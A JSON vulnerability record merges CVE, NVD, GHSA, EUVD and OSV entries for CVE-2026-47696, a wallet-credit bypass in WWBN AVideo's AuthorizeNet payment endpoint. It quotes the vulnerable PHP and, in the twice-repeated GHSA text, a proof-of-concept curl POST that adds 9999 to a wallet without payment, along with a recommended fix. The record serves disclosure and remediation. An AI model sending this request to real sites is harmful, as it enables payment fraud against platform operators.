{"id":"CVE-2026-47696","aliases":["EUVD-2026-33303","GHSA-9392-pj54-qqf8"],"status":"published","title":"WWBN AVideo: Authenticated wallet credit bypass in AuthorizeNet processPayment endpoint","description":"WWBN AVideo is an open source video platform. In 29.0 and earlier, plugin/AuthorizeNet/processPayment.json.php credits the logged-in user's wallet based only on the attacker-controlled amount POST parameter. The endpoint contains a TODO for real Authorize.Net charging, hardcodes $paymentSuccess = true, and then calls YPTWallet::addBalance() without validating\nany Authorize.Net transaction, webhook signature, hosted payment token, nonce, or server-side payment record. This allows any logged-in user to add arbitrary funds to their own AVideo wallet when the AuthorizeNet and YPTWallet plugins are enabled.","severity":{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0012,"percentile":0.01858,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-345"],"published":"2026-05-29T12:59:30Z","modified":"2026-10-28T02:30:38Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"WWBN/AVideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"29.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"WWBN/AVideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"29.0"}]}]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-9392-pj54-qqf8","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47696","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo/commit/822402444b4db4e9442779c8c789ffe5312b3627","tags":["web"]},{"url":"https://github.com/advisories/GHSA-9392-pj54-qqf8"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47696.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-47696","title":"WWBN AVideo: Authenticated wallet credit bypass in AuthorizeNet processPayment endpoint","description":"WWBN AVideo is an open source video platform. In 29.0 and earlier, plugin/AuthorizeNet/processPayment.json.php credits the logged-in user's wallet based only on the attacker-controlled amount POST parameter. The endpoint contains a TODO for real Authorize.Net charging, hardcodes $paymentSuccess = true, and then calls YPTWallet::addBalance() without validating\nany Authorize.Net transaction, webhook signature, hosted payment token, nonce, or server-side payment record. This allows any logged-in user to add arbitrary funds to their own AVideo wallet when the AuthorizeNet and YPTWallet plugins are enabled.","status":"published","published":"2026-05-29T12:59:30.432Z","modified":"2026-05-29T14:03:52.153Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-345"],"updated_at":"2026-11-02T13:36:51.6229Z"}],"euvd":[{"id":"EUVD-2026-33303","description":"WWBN AVideo is an open source video platform. In 29.0 and earlier, plugin/AuthorizeNet/processPayment.json.php credits the logged-in user's wallet based only on the attacker-controlled amount POST parameter. The endpoint contains a TODO for real Authorize.Net charging, hardcodes $paymentSuccess = true, and then calls YPTWallet::addBalance() without validating\nany Authorize.Net transaction, webhook signature, hosted payment token, nonce, or server-side payment record. This allows any logged-in user to add arbitrary funds to their own AVideo wallet when the AuthorizeNet and YPTWallet plugins are enabled.","status":"published","published":"2026-05-29T12:59:30Z","modified":"2026-05-29T14:03:52Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:21:01.215325Z"}],"ghsa":[{"id":"GHSA-9392-pj54-qqf8","title":"WWBN AVideo: Authenticated wallet credit bypass in AuthorizeNet processPayment endpoint","description":"### Summary\n\n  `plugin/AuthorizeNet/processPayment.json.php` credits the logged-in user's wallet based only on the attacker-controlled `amount` POST parameter.\n\n  The endpoint contains a TODO for real Authorize.Net charging, hardcodes `$paymentSuccess = true`, and then calls `YPTWallet::addBalance()` without validating\n  any Authorize.Net transaction, webhook signature, hosted payment token, nonce, or server-side payment record.\n\n  This allows any logged-in user to add arbitrary funds to their own AVideo wallet when the `AuthorizeNet` and `YPTWallet` plugins are enabled.\n\n  ### Details\n\n  Affected file:\n\n  `plugin/AuthorizeNet/processPayment.json.php`\n\n  Relevant code:\n\n  ```php\n  $amount = isset($_POST['amount']) ? floatval($_POST['amount']) : 0;\n  $userData = isset($_POST['userData']) ? $_POST['userData'] : [];\n\n  if ($amount \u003c= 0) {\n      echo json_encode(['error' =\u003e 'Invalid amount']);\n      exit;\n  }\n\n  // TODO: Implement payment logic using Authorize.Net API\n  // Example: Call Authorize.Net API here\n  // $result = $plugin-\u003echargePayment($amount, $userData);\n\n  // Simulate payment success for now\n  $paymentSuccess = true;\n  $users_id = @User::getId();\n\n  if ($paymentSuccess \u0026\u0026 !empty($users_id)) {\n      $walletPlugin = AVideoPlugin::loadPluginIfEnabled(\"YPTWallet\");\n      if ($walletPlugin) {\n          $walletPlugin-\u003eaddBalance($users_id, $amount, 'Authorize.Net one-time payment');\n          echo json_encode(['success' =\u003e true, 'result' =\u003e 'Payment processed and wallet updated']);\n          exit;\n      }\n  }\n```\n  Vulnerable flow:\n\n  1. `$_POST['amount']` is read from the client.\n  2. The endpoint only checks that the amount is greater than zero.\n  3. The real Authorize.Net charge is not performed.\n  4. `$paymentSuccess` is hardcoded to true.\n  5. The logged-in user's wallet is credited with the client-supplied amount.\n\n  There is no verification of:\n\n  - Authorize.Net transaction ID\n  - payment token\n  - webhook signature\n  - pending payment record\n  - expected server-side amount\n  - currency\n  - duplicate transaction/replay state\n\n  ### PoC\n\n  Prerequisites:\n\n  - AVideo with AuthorizeNet plugin enabled\n  - YPTWallet plugin enabled\n  - Attacker has any valid user account\n\n  Steps:\n\n  1. Log in as a low-privileged user.\n  2. Open the wallet page and record the current balance.\n  3. Send the following request with the user's authenticated session cookie:\n```\n  curl -i -s -b 'PHPSESSID=\u003cuser_session\u003e' \\\n    -X POST 'https://target.example/plugin/AuthorizeNet/processPayment.json.php' \\\n    --data 'amount=9999\u0026userData[note]=poc'\n```\n  4. The endpoint returns:\n```\n  {\"success\":true,\"result\":\"Payment processed and wallet updated\"}\n```\n  5. Refresh the wallet page.\n  6. The wallet balance is increased by 9999.\n\n  No Authorize.Net hosted payment page, card payment, transaction confirmation, webhook, or server-side payment validation is required.\n\n### Impact\n\n  A normal authenticated user can mint arbitrary wallet balance.\n\n  Depending on the target site's configuration, this may allow the attacker to:\n\n  - purchase paid videos or subscriptions without payment\n  - abuse any feature backed by YPTWallet\n  - transfer fake funds to other users\n  - manipulate accounting or payout-related workflows\n  - bypass monetization controls\n\n### Recommended fix\n\n- Remove or disable `processPayment.json.php` if it is obsolete.\n- Never credit wallet balance from client-supplied `amount` alone.\n- Use the existing Authorize.Net hosted token / webhook / transaction reconciliation flow.\n- Require a verified Authorize.Net transaction ID and server-side amount lookup before calling `addBalance()`.\n- Add regression tests proving arbitrary POSTs cannot credit a wallet.","status":"published","published":"2026-06-04T18:47:35Z","modified":"2026-06-04T18:47:36Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-345"],"updated_at":"2026-11-02T14:40:16.698699Z"}],"nvd":[{"id":"CVE-2026-47696","description":"WWBN AVideo is an open source video platform. In 29.0 and earlier, plugin/AuthorizeNet/processPayment.json.php credits the logged-in user's wallet based only on the attacker-controlled amount POST parameter. The endpoint contains a TODO for real Authorize.Net charging, hardcodes $paymentSuccess = true, and then calls YPTWallet::addBalance() without validating\nany Authorize.Net transaction, webhook signature, hosted payment token, nonce, or server-side payment record. This allows any logged-in user to add arbitrary funds to their own AVideo wallet when the AuthorizeNet and YPTWallet plugins are enabled.","status":"published","published":"2026-05-29T14:16:32.127Z","modified":"2026-07-21T12:10:00.09Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-345"],"updated_at":"2026-11-02T14:12:21.244426Z"}],"osv":[{"id":"CVE-2026-47696","title":"WWBN AVideo: Authenticated wallet credit bypass in AuthorizeNet processPayment endpoint","description":"WWBN AVideo is an open source video platform. In 29.0 and earlier, plugin/AuthorizeNet/processPayment.json.php credits the logged-in user's wallet based only on the attacker-controlled amount POST parameter. The endpoint contains a TODO for real Authorize.Net charging, hardcodes $paymentSuccess = true, and then calls YPTWallet::addBalance() without validating\nany Authorize.Net transaction, webhook signature, hosted payment token, nonce, or server-side payment record. This allows any logged-in user to add arbitrary funds to their own AVideo wallet when the AuthorizeNet and YPTWallet plugins are enabled.","status":"published","published":"2026-05-29T12:59:30.432Z","modified":"2026-10-28T02:30:38.28195801Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-345"],"updated_at":"2026-11-02T15:45:06.231145Z"},{"id":"GHSA-9392-pj54-qqf8","title":"WWBN AVideo: Authenticated wallet credit bypass in AuthorizeNet processPayment endpoint","description":"### Summary\n\n  `plugin/AuthorizeNet/processPayment.json.php` credits the logged-in user's wallet based only on the attacker-controlled `amount` POST parameter.\n\n  The endpoint contains a TODO for real Authorize.Net charging, hardcodes `$paymentSuccess = true`, and then calls `YPTWallet::addBalance()` without validating\n  any Authorize.Net transaction, webhook signature, hosted payment token, nonce, or server-side payment record.\n\n  This allows any logged-in user to add arbitrary funds to their own AVideo wallet when the `AuthorizeNet` and `YPTWallet` plugins are enabled.\n\n  ### Details\n\n  Affected file:\n\n  `plugin/AuthorizeNet/processPayment.json.php`\n\n  Relevant code:\n\n  ```php\n  $amount = isset($_POST['amount']) ? floatval($_POST['amount']) : 0;\n  $userData = isset($_POST['userData']) ? $_POST['userData'] : [];\n\n  if ($amount \u003c= 0) {\n      echo json_encode(['error' =\u003e 'Invalid amount']);\n      exit;\n  }\n\n  // TODO: Implement payment logic using Authorize.Net API\n  // Example: Call Authorize.Net API here\n  // $result = $plugin-\u003echargePayment($amount, $userData);\n\n  // Simulate payment success for now\n  $paymentSuccess = true;\n  $users_id = @User::getId();\n\n  if ($paymentSuccess \u0026\u0026 !empty($users_id)) {\n      $walletPlugin = AVideoPlugin::loadPluginIfEnabled(\"YPTWallet\");\n      if ($walletPlugin) {\n          $walletPlugin-\u003eaddBalance($users_id, $amount, 'Authorize.Net one-time payment');\n          echo json_encode(['success' =\u003e true, 'result' =\u003e 'Payment processed and wallet updated']);\n          exit;\n      }\n  }\n```\n  Vulnerable flow:\n\n  1. `$_POST['amount']` is read from the client.\n  2. The endpoint only checks that the amount is greater than zero.\n  3. The real Authorize.Net charge is not performed.\n  4. `$paymentSuccess` is hardcoded to true.\n  5. The logged-in user's wallet is credited with the client-supplied amount.\n\n  There is no verification of:\n\n  - Authorize.Net transaction ID\n  - payment token\n  - webhook signature\n  - pending payment record\n  - expected server-side amount\n  - currency\n  - duplicate transaction/replay state\n\n  ### PoC\n\n  Prerequisites:\n\n  - AVideo with AuthorizeNet plugin enabled\n  - YPTWallet plugin enabled\n  - Attacker has any valid user account\n\n  Steps:\n\n  1. Log in as a low-privileged user.\n  2. Open the wallet page and record the current balance.\n  3. Send the following request with the user's authenticated session cookie:\n```\n  curl -i -s -b 'PHPSESSID=\u003cuser_session\u003e' \\\n    -X POST 'https://target.example/plugin/AuthorizeNet/processPayment.json.php' \\\n    --data 'amount=9999\u0026userData[note]=poc'\n```\n  4. The endpoint returns:\n```\n  {\"success\":true,\"result\":\"Payment processed and wallet updated\"}\n```\n  5. Refresh the wallet page.\n  6. The wallet balance is increased by 9999.\n\n  No Authorize.Net hosted payment page, card payment, transaction confirmation, webhook, or server-side payment validation is required.\n\n### Impact\n\n  A normal authenticated user can mint arbitrary wallet balance.\n\n  Depending on the target site's configuration, this may allow the attacker to:\n\n  - purchase paid videos or subscriptions without payment\n  - abuse any feature backed by YPTWallet\n  - transfer fake funds to other users\n  - manipulate accounting or payout-related workflows\n  - bypass monetization controls\n\n### Recommended fix\n\n- Remove or disable `processPayment.json.php` if it is obsolete.\n- Never credit wallet balance from client-supplied `amount` alone.\n- Use the existing Authorize.Net hosted token / webhook / transaction reconciliation flow.\n- Require a verified Authorize.Net transaction ID and server-side amount lookup before calling `addBalance()`.\n- Add regression tests proving arbitrary POSTs cannot credit a wallet.","status":"published","published":"2026-06-04T18:47:35Z","modified":"2026-09-10T03:50:49.076765453Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium"},{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-345"],"updated_at":"2026-11-02T15:46:43.123867Z"}]}}
